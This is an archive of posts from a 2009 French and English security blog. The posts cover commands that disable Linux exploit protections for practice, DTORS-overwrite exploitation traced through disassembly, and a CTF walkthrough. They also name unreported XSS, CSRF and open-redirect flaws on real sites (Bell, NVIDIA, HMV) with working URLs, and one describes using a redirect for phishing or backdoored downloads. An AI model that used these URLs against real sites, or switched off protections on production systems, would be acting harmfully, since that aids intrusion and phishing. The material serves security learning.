Linux est la plateforme idéale pour pratiquer ces techniques puisque le système est bien documenté, le code source est accessible et de nombreux outils sont disponibles. Toutefois, les distributions récentes sont livrées avec plusieurs protections qui complexifient le développement d'exploit. Voici donc une liste de commandes pratiques pour désactiver ces protections.

Activer les coredumps : ulimit -c unlimited
Désactiver la Stack Randomization : Ajouter kernel.randomize_va_space = 0 à /etc/sysctl.conf
Désactiver la détection de heap overflow : export MALLOC_CHECK_=0

Compiler avec les options suivantes :

-ggdb : activer le support pour le déboggeur gdb
-mpreferred-stack-boundary=2 : Évite que gcc aligne les variables différemment sur la stack
-fno-stack-protector : Désactive la protection de la stack avec ProPolice (activé sur Gentoo et Ubuntu)

Évidemment, je vous recommande fortement de pratiquer sur une machine virtuelle ou une machine dédiée puisque le fait de désactiver les protections rend l'ensemble des programmes vulnérables.

Merci à Phil pour la méthode pour désactiver ProPolice.

Exploitation via DTORS and mitigating factors in GCC 4.4

2009-08-07T18:32:00.006-04:00

The rewriting of the DTORS section is a fairly known technique to exploit a program compiled with GCC. Described shortly, the DTORS section makes it possible to call function after the execution of a program. For example, adding the following code will have the effect of calling the stop() function after the execution of the main() function :

void stop() __attribute__ ((destructor));

void stop() {
printf("THE END\n");
}

The list of of functions to be called at the end of the program are written in the DTORS section, which is writable and thus can be used to redirect execution. For more details concerning this technique, consult the following article.

While trying to use this technique I found that it wasn't working if there where no destructor functions in the original code (contrarily to what is said in the first edition of The Art of Exploitation and in the article cited above). A look at the assembly code explains why :

First, the nm command gives us the location of the DTORS section.

$ nm no_dtors
080496a8 D __DTOR_END__
080496a4 d __DTOR_LIST__

Next, we look at the content of the __do_global_dtors which is handling the task of calling the destructors. We obtain the code with the objdump -d no_dtors command.

08048440 <__do_global_dtors_aux>:
8048440: 55 push %ebp
8048441: 89 e5 mov %esp,%ebp
8048443: 53 push %ebx
8048444: 83 ec 04 sub $0x4,%esp
8048447: 80 3d bc 97 04 08 00 cmpb $0x0,0x80497bc
804844e: 75 3f jne 804848f <__do_global_dtors_aux+0x4f>
8048450: a1 c0 97 04 08 mov 0x80497c0,%eax
8048455: bb a8 96 04 08 mov $0x80496a8,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx
8048460: c1 fb 02 sar $0x2,%ebx
8048463: 83 eb 01 sub $0x1,%ebx
8048466: 39 d8 cmp %ebx,%eax
8048468: 73 1e jae 8048488 <__do_global_dtors_aux+0x48>
804846a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048470: 83 c0 01 add $0x1,%eax
8048473: a3 c0 97 04 08 mov %eax,0x80497c0
8048478: ff 14 85 a4 96 04 08 call *0x80496a4(,%eax,4)
804847f: a1 c0 97 04 08 mov 0x80497c0,%eax
8048484: 39 d8 cmp %ebx,%eax
8048486: 72 e8 jb 8048470 <__do_global_dtors_aux+0x30>
8048488: c6 05 bc 97 04 08 01 movb $0x1,0x80497bc
804848f: 83 c4 04 add $0x4,%esp
8048492: 5b pop %ebx
8048493: 5d pop %ebp
8048494: c3 ret
8048495: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi

The code excerpt is fairly long so I put the interesting part in blue. We can see that the adresses of the beginning and the end of the DTORS section (in red) are directly in the code. In fact, the beginning address is subtracted to the end address to determine the length of the DTORS section. The next instructions (sar and sub) are used to check if the length of the section is smaller or equal to 4 bytes. If it's the case then the execution jumps to the adress 0x08048488 and the content of the DTORS section is never read (the call instruction in red is never reached).

The program used as an example didn't have any destructor so it wasn't exploitable. If we add a destructor to the code, we obtain the following result :

8048455: bb ac 96 04 08 mov $0x80496ac,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

This time, the length of the DTORS section is 8 bytes and the addresses that it contains (in this case just one) are called.

I think that the behaviour generated by GCC was changed in the recent versions to limit the risks of DTORS exploitation, since most programs don't have destructors. I didn't look at GCC's source code though.

Exploitation via DTORS et facteur de mitigation dans gcc 4.4

2009-08-07T17:07:00.008-04:00

La réécriture de la table DTORS est une technique connue pour exploiter un programme compilé avec GCC. En gros, DTORS permet d'appeler des fonctions à la fin du programme. Par exemple en ajoutant le code suivant, la fonction stop() sera appelée après l'exécution de la fonction main :

void stop() __attribute__ ((destructor));

void stop() {
printf("THE END\n");
}

La liste des fonctions à appeler après l'exécution du programme est placée dans la section DTORS, qui est accessible en écriture et qui peut donc être réécrite. Pour plus de détails sur cette technique, consulter cet article.

En tentant de mettre cette technique en œuvre, j'ai découvert que cela ne fonctionnait pas lorsqu'aucune fonction n'avait été déclarée comme destructor dans le code (contrairement à ce qui est dit dans la première édition de The Art of Exploitation et dans l'article cité précédemment). Une vérification du code assembleur nous explique pourquoi.

La commande nm nous permet de connaitre l'emplacement de la section DTORS :

$ nm no_dtors
080496a8 D __DTOR_END__
080496a4 d __DTOR_LIST__

Maintenant, examinons le contenu de la fonction __do_global_dtors_aux qui s'occupe d'appeler les destructeurs obtenu grâce à la commande objdump -d no_dtors.

08048440 <__do_global_dtors_aux>:
8048440: 55 push %ebp
8048441: 89 e5 mov %esp,%ebp
8048443: 53 push %ebx
8048444: 83 ec 04 sub $0x4,%esp
8048447: 80 3d bc 97 04 08 00 cmpb $0x0,0x80497bc
804844e: 75 3f jne 804848f <__do_global_dtors_aux+0x4f>
8048450: a1 c0 97 04 08 mov 0x80497c0,%eax
8048455: bb a8 96 04 08 mov $0x80496a8,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx
8048460: c1 fb 02 sar $0x2,%ebx
8048463: 83 eb 01 sub $0x1,%ebx
8048466: 39 d8 cmp %ebx,%eax
8048468: 73 1e jae 8048488 <__do_global_dtors_aux+0x48>
804846a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048470: 83 c0 01 add $0x1,%eax
8048473: a3 c0 97 04 08 mov %eax,0x80497c0
8048478: ff 14 85 a4 96 04 08 call *0x80496a4(,%eax,4)
804847f: a1 c0 97 04 08 mov 0x80497c0,%eax
8048484: 39 d8 cmp %ebx,%eax
8048486: 72 e8 jb 8048470 <__do_global_dtors_aux+0x30>
8048488: c6 05 bc 97 04 08 01 movb $0x1,0x80497bc
804848f: 83 c4 04 add $0x4,%esp
8048492: 5b pop %ebx
8048493: 5d pop %ebp
8048494: c3 ret
8048495: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi

Le code est assez long, j'ai mis la section intéressante en bleu. On remarque que les adresses de début et de fin de DTORS sont manipulées directement. En fait, l'adresse de début est soustraite à l'adresse de fin pour déterminer la longueur de la section. Les opérations suivantes (sar et sub) servent en fait à déterminer si la longueur de la section est inférieure ou égale à 4 octets. Si tel est le cas, l'exécution saute à 0x08048488 ce qui fait que le contenu de la section n'est pas inspectée et il n'y a pas d'appel fonctions (via le call en rouge).

Le programme utilisé comme exemple n'avait pas de fonction destructor est n'est donc pas exploitable. Si nous ajoutons une fonction destructor au code, nous obtenons le résultat suivant :

8048455: bb ac 96 04 08 mov $0x80496ac,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

Dans ce cas, la longueur de la section est 8 octets ce qui fait que les adresses qui s'y trouve sont appelées.

J'ai l'impression que le comportement généré par GCC a été changée dans les dernières versions pour limiter les possibilités d'exploitation, la plupart des programmes ne faisant pas appel à des fonctions destructors. Je n'ai par contre pas vérifié l'historique du code source de GCC pour en être sûr.

Soumission acceptée sur datalossdb.org

2009-07-10T22:29:00.007-04:00

Je ne suis pas très actif sur ce blogue dernièrement mais cela n'implique pas que je suis moins intéressé par la sécurité informatique en ce moment. Au contraire, je continue de m'informer énormément (cette liste est aussi disponible au format OPML et peut être importée directement dans Google Reader). J'ai aussi quelques projets toujours en réflexion.

Le site datalossdb.org vient de publier ma première contribution qui porte sur le vol d'information de dossiers de santé de près de 11,500 patients de Alberta Health Services par un virus. Si vous ne connaissez pas déjà datalossdb.org, je vous invite fortement à y faire une petite visite virtuelle ou à vous abonner à leur flux RSS. La quantité et la taille des fuites d'information est tous simplement astronomique et il s'agit d'un réel problème qui devra être corrigé dans les années à venir, avec la digitalisation de la presque totalité de l'information.

CSRF via des requêtes POST

2009-06-12T16:10:00.014-04:00

Dans un article publié cette semaine, Mike Bailey mettait en évidence la possibilité d'ajouter des articles dans les paniers d'achats de Walmart.com ou de faire apparaitre des articles dans la liste des articles récemment consultés de Ebay et Amazon en utilisant du CSRF.

Si Ebay et Amazon sont vulnérables à ce type de problème, il est fortement probable que d'autres sites ait ce genre de problème. Et c'est le cas : une recherche rapide m'a permis de découvrir que les sites de Dumoulin, HMV, Apple, NewEgg, La Source et Home Depot ont aussi ce problème. Pour en faire l'expérience, ouvrez chacun de ces sites pour initialiser vos cookies et ensuite ouvrez ce lien. Vous devriez retrouver plusieurs articles dans vos paniers d'achats.

De simples URL du genre http://hmv.com/hmvweb/addToBasket.do?ctx=280;-1;-1;-1;-1&sku=796148 sont suffisantes pour ajouter les articles, à l'exception du site de Home Depot qui nécessite l'envoie d'un formulaire via une requête POST. Il est recommandé de ne pas utiliser les requêtes GET pour des actions qui changent l'état de l'application web. Celà semble avoir mené à la croyance que l'utilisation de requêtes POST permet d'éviter les CSRF.

Ce n'est toutefois pas le cas car il possible d'envoyer des requêtes POST à un site différent grâce à du Javascript. En voici un exemple :

Cette requête envoie le formulaire au chargement de la page dans le contexte de l'utilisateur, c'est-à-dire que le cookie de l'utilisateur sera envoyé avec la requête s'il existe.

Nouvelle édition de phrack

2009-06-11T21:04:00.001-04:00

Le célèbre magazine phrack vient de publier une nouvelle édition. La derniere parution datait de mars 2008. Bonne lecture!

Quelques XSS pour la route

2009-05-22T00:45:00.006-04:00

Quelques petits XSS trouvés dernièrement.

mypictures.bell.ca
On pourrait être porté à croire que je m'acharne sur Bell Canada mais je ne le fait vraiment pas intentionnellement.

familyguydirect.com
J'attire votre attention sur l'erreur SQL au haut de la page (Injection anybody?) .

Comment gagner à Capture The Flag 5

2009-05-15T15:55:00.005-04:00

CTF5 est un challenge de sécurité informatique disponible au http://lampsecurity.org/capture-the-flag-5 . Il s'agit d'une machine virtuelle pour VMWare contenant un serveur vulnérable. Le but du jeu est de compromettre le serveur.

J'ai préparé un petit document qui explique comment je m'y suis pris pour devenir root. Bien sûr je vous encourage à ne pas le consulter avant d'avoir essayé par vous même. Je serais intéressé à connaitre la façon dont vous vous y êtes pris si vous avez emprunté des chemins différents. J'attends vos commentaires.

Happy Hacking!

Visualiser le code source d'un logiciel

2009-05-02T17:32:00.005-04:00

En tant qu'informaticien, il m'arrive souvent de lire le code source d'un logiciel, que ce soit pour en comprendre le fonctionnement, pour y faire des modifications ou pour trouver des problèmes de sécurité. Un logiciel pouvant facilement être composé de plusieurs milliers de lignes de code, des moyens pour comprendre la structure du code deviennent essentiels.

Lorsque j'explore le code source d'un nouveau logiciel, j'utilise WinDirStat. WinDirStat représente graphiquement un dossier en fonction de la taille et du type des fichiers. Si ce logiciel est fort utile pour trouver les fichiers occupant le plus d'espace sur un disque dur, il permet aussi de connaitre rapidement la structure d'un logiciel à partir de son code source.

Cette image représente le code source de l'IDS OSSEC vu par WinDirStat. On peut facilement voir les fichiers les plus volumineux. Les fichiers en bleu représentent du code source en langage C. On peut voir que la section du code de syscheck, encadrée en blanc, est une portion importante du logiciel.

WinDirStat est un logiciel libre et gratuit pour Windows. La prochaine version devrait permettre de sauvegarder le résultat d'un analyse, une fonction pratique pour les codes sources volumineux.

Pour terminer, je vous conseille fortement de lire Security Data Visualization de Greg Conti. Il y présente plusieurs méthodes pour représenter visuellement des données pour y distinguer des situtations difficiles à identifier autrement.

Un autre open-redirect

2009-04-13T19:55:00.003-04:00

En voulant mettre à jour le driver de ma carte vidéo NVIDIA pour jouer à Left 4 Dead, je suis tombé sur un beau open-redirect :

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://www.google.com/

Je trouve celui-ci plutôt intéressant car il affiche un message comme quoi le téléchargement va démarrer sous peu. Une personne mal intentionnée pourrait facilement mettre quelque chose d'autre en téléchargement, par exemple une version modifiée du driver qui installe aussi un backdoor et mettre ce lien sur un site de téléchargement.

Les "Open Redirects" et comment les exploiter

2009-04-11T19:28:00.008-04:00

Il ne se passe littéralement pas une semaine sans que je tombe sur un open redirect. Un peu comme les XSS, ce type de vulnérabilité ne semble pas vraiment pris au sérieux par les concepteurs de site web. Mais quand on en découvre même sur le site de Bell Canada, ça devient inquiétant. (fonctionne dans Firefox mais pas IE8 car la redirection est basée sur du javascript qui dépend du navigateur utilisé).

Pourquoi ce genre de problème devrait-il est inquiétant ? Parce qu'il facilite grandement la pratique du phishing (hameçonnage pour les francophiles). Imaginez qu'on vous envoie un courriel vous invitant à mettre à jour les informations de votre compte, le message paraitra beaucoup plus crédible s'il contient un lien qui pointe sur le vrai site de la compagnie. Le lien que je donnais en exemple vend la mèche, mais il suffit d'ajouter un paquet de paramètres et l'attaque devient beaucoup moins visible.

http://www.bell.ca/shopping/PrsShpTv_DTH_BestHDPVR.page?regionToggle=true&languageToggle=true&metaKey=PrsShpTv_DTH_BestHDPVR&EXT=XVU_SA_200808008_EHD_LC_supppg&province=QUEBEC&myurl=CSQ&mobility_upgrade=false&content=http://www.google.com/&metaKey=PrsShpTv_DTH_BestHDPVR&EXT=XVU_SA_200808008_EHD_LC_supppg&region=QC&language=fr

J'avais l'intention de rapporter le problème à Bell avant de publier mon billet mais il est tellement compliqué de trouver un adresse email sur leur foutu site que j'ai laissé faire.

Utiliser FoxyProxy pour tester la sécurité d'un site web

2009-04-04T15:33:00.006-04:00

Avec la popularité grandissante du web et des attaques qui y sont associées, plusieurs outils sont rendus disponibles. Un type d'outil fort utile est les proxy spécialisés, par exemple WebScarab, Burp Suite, Paros. Ces proxy permettent de modifier les requêtes envoyées au serveur afin de trouver des failles.

Pour les utiliser, il faut configurer son navigateur pour utiliser un proxy. Avec Firefox, il devient rapidement lassant d'aller dans le menu pour éditer manuellement la configuration chaque fois qu'on veut activer/désactiver le proxy. Une solution élégante : utiliser FoxyProxy. FoxyProxy est un addon qui vous permet de configurer plusieurs proxy et de les activer en appuyant sur un simple bouton.

Mais encore mieux, vous pouvez définir des règles pour déterminer quel proxy utiliser. Pour activer un proxy uniquement pour les connexions locales, on ajoute par exemple la règle suivante :

http*://127.0.0.1/*

De cette façon, seules les requêtes pertinentes sont interceptées. Évidemment, il est préférable d'utiliser un profil séparé pour faire ce genre de tests, mais si vous êtes comme moi vous faites surement une vingtaine de choses en même temps et pouvoir ségréger le trafic de cette façon se révèle vraiment utile.